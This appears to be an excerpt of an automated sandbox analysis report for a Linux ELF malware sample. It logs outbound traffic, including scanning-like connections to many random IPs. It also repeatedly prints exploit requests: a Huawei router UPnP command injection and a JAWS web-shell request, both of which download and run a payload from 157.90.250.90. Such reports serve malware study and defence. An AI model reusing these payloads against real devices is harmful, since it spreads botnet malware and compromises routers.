2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/if33NMq1O2.elf (PID: 6209)

Socket: 127.0.0.1::46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 125.99.61.248
Source: unknown	TCP traffic detected without corresponding DNS query: 188.31.132.249
Source: unknown	TCP traffic detected without corresponding DNS query: 218.104.120.155
Source: unknown	TCP traffic detected without corresponding DNS query: 109.22.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 105.222.161.47
Source: unknown	TCP traffic detected without corresponding DNS query: 36.250.94.164
Source: unknown	TCP traffic detected without corresponding DNS query: 36.220.206.248
Source: unknown	TCP traffic detected without corresponding DNS query: 75.153.38.249
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.157.78
Source: unknown	TCP traffic detected without corresponding DNS query: 151.2.244.36
Source: unknown	TCP traffic detected without corresponding DNS query: 63.35.22.70
Source: unknown	TCP traffic detected without corresponding DNS query: 13.136.36.95
Source: unknown	TCP traffic detected without corresponding DNS query: 195.61.104.203
Source: unknown	TCP traffic detected without corresponding DNS query: 171.117.55.103
Source: unknown	TCP traffic detected without corresponding DNS query: 200.121.211.201
Source: unknown	TCP traffic detected without corresponding DNS query: 217.3.114.143
Source: unknown	TCP traffic detected without corresponding DNS query: 157.151.175.28
Source: unknown	TCP traffic detected without corresponding DNS query: 175.235.90.206
Source: unknown	TCP traffic detected without corresponding DNS query: 196.63.2.211
Source: unknown	TCP traffic detected without corresponding DNS query: 183.5.71.160
Source: unknown	TCP traffic detected without corresponding DNS query: 73.0.223.77
Source: unknown	TCP traffic detected without corresponding DNS query: 180.87.155.99
Source: unknown	TCP traffic detected without corresponding DNS query: 14.146.51.250
Source: unknown	TCP traffic detected without corresponding DNS query: 162.100.78.199
Source: unknown	TCP traffic detected without corresponding DNS query: 81.79.88.136
Source: unknown	TCP traffic detected without corresponding DNS query: 65.131.253.201
Source: unknown	TCP traffic detected without corresponding DNS query: 148.169.158.142
Source: unknown	TCP traffic detected without corresponding DNS query: 92.120.142.194
Source: unknown	TCP traffic detected without corresponding DNS query: 45.75.3.207
Source: unknown	TCP traffic detected without corresponding DNS query: 151.112.118.249
Source: unknown	TCP traffic detected without corresponding DNS query: 114.101.118.217
Source: unknown	TCP traffic detected without corresponding DNS query: 123.185.9.87
Source: unknown	TCP traffic detected without corresponding DNS query: 130.64.97.224
Source: unknown	TCP traffic detected without corresponding DNS query: 126.234.158.13
Source: unknown	TCP traffic detected without corresponding DNS query: 211.107.200.145
Source: unknown	TCP traffic detected without corresponding DNS query: 162.136.80.202
Source: unknown	TCP traffic detected without corresponding DNS query: 213.195.173.61
Source: unknown	TCP traffic detected without corresponding DNS query: 12.139.160.245
Source: unknown	TCP traffic detected without corresponding DNS query: 8.160.32.239
Source: unknown	TCP traffic detected without corresponding DNS query: 182.44.138.73
Source: unknown	TCP traffic detected without corresponding DNS query: 189.130.103.99
Source: unknown	TCP traffic detected without corresponding DNS query: 122.215.41.204
Source: unknown	TCP traffic detected without corresponding DNS query: 40.102.4.26
Source: unknown	TCP traffic detected without corresponding DNS query: 189.61.2.65
Source: unknown	TCP traffic detected without corresponding DNS query: 101.119.237.226
Source: unknown	TCP traffic detected without corresponding DNS query: 103.131.218.58
Source: unknown	TCP traffic detected without corresponding DNS query: 155.168.79.64
Source: unknown	TCP traffic detected without corresponding DNS query: 203.127.143.44
Source: unknown	TCP traffic detected without corresponding DNS query: 103.233.38.136
Source: unknown	TCP traffic detected without corresponding DNS query: 19.5.47.213

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
